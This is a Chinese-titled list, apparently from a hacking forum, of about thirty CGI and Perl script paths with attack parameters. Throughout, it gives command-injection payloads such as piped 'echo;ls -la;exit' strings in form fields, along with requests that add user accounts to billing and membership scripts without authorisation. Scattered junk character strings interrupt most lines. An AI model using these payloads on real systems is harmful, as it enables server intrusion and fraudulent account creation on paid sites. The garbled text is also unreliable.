Cgi-bin 30个漏洞＋使用方法

admin

==============================
5 R* G! g! H# v+ j' V) `) L
/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
3 ]* ^: @( l: R$ x2 V
  y) h6 _  F+ m/passmaster.cgi
Action=Add&Username=Username&Password=Password
7 y2 T; i/ B8 Z6 M
0 i! {2 ?) R( M) ^( F( p* o2 Y! d$ H/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
) K1 k0 v, V0 A) L3 N) Z. Q
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
) K0 f6 m+ z( c0 u5 z5 L1 B5 [
9 a4 B1 O3 V8 E4 f5 {/addusr.pl
" _  R4 R/ O) l; [/cgi-bin/EuroDebit/addusr.pl
: x0 M! A' a$ yuser=username&pass=Password&confirm=Password
3 N8 x& j4 p5 R7 d
; h  ^: g/ S3 s% d: J  Q7 ?: c/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|
, i, A2 y# C1 F7 l4 ?1 D
/ \% d+ z4 M3 B$ Y/recon.cgi
3 i, J/ |4 U+ g8 Y/ h* w/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
1 I- Z- F5 z+ X: b9 F
8 @4 m' b3 o. @& A5 t' c/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

$ @* k- e$ s4 p) \; Y+ _/af.cgi
_browser_out=|echo;ls -la;exit;|

' W5 @( o2 t9 W9 m& U/modify.cgi
username=username&password=password&expire=30
! Q) m( k7 X: e2 h& E* X/ j
) R* V" `' p9 a! B. v9 A/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

0 j. I" h- T, ]: z# W/gx9passwd.cgi
cmd=ADD&user=username&pass=password
( `5 ?% z( _  v
/ Q6 X& X8 g  d2 k* j* v/probecontrol.cgi
command=enable&username=username&password=password

' e" a- `5 ?: T4 N, S7 A* c6 `/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

) j0 r* x- B  y, ~0 r- J/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

& |  k. O4 g8 y  f! ^/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
4 n% ~: v7 A4 g" S6 r& s# x/ A
, J, x3 @& a: X# [  z' o, j/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

& V" W6 i, M" y2 L) o/usercontrol.cgi
; m; U2 f2 N: \command=enable&username=USER&password=PASS
/ t; m! W! p* U, q6 d- a0 x
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

- T/ B  R- I! d" q, f" F/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
1 u# u. T8 C; ?2 ?0 c6 ]/cgi-bin/mastergate/pincount.cgi
: R8 M6 `+ X* r$ v- gpinfile=|echo;pwd;exit|
5 z* r# Q7 t# |+ Y# L* S3 z4 l9 I
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
$ F+ _% a& g+ X+ q. a4 dusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
+ ]7 {1 S  h9 y0 ~pinfile=|echo;pwd;exit|
0 a# g/ a: L! J; r9 i1 Y
& H! M# b5 @  L) q0 ^6 j/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
1 r, B9 Y/ t4 O
/add.cgi
username=username&password=password&expire=30
% d8 E9 g3 ]/ R/ }
: K- i  y3 D' Z1 P==============================
) @, |/ c/ t3 w+ q